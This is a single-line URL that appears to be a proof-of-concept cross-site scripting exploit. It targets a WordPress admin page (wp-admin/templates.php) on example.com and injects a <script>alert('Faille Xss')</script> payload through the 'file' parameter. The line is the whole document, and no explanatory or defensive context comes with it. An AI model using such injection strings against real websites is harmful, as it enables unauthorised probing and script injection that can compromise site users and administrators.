http://www.example.com/wordpress/wp-admin/templates.php?action=update&file=<script>alert("Faille Xss")</script>&submit=Update+File+%C2%BB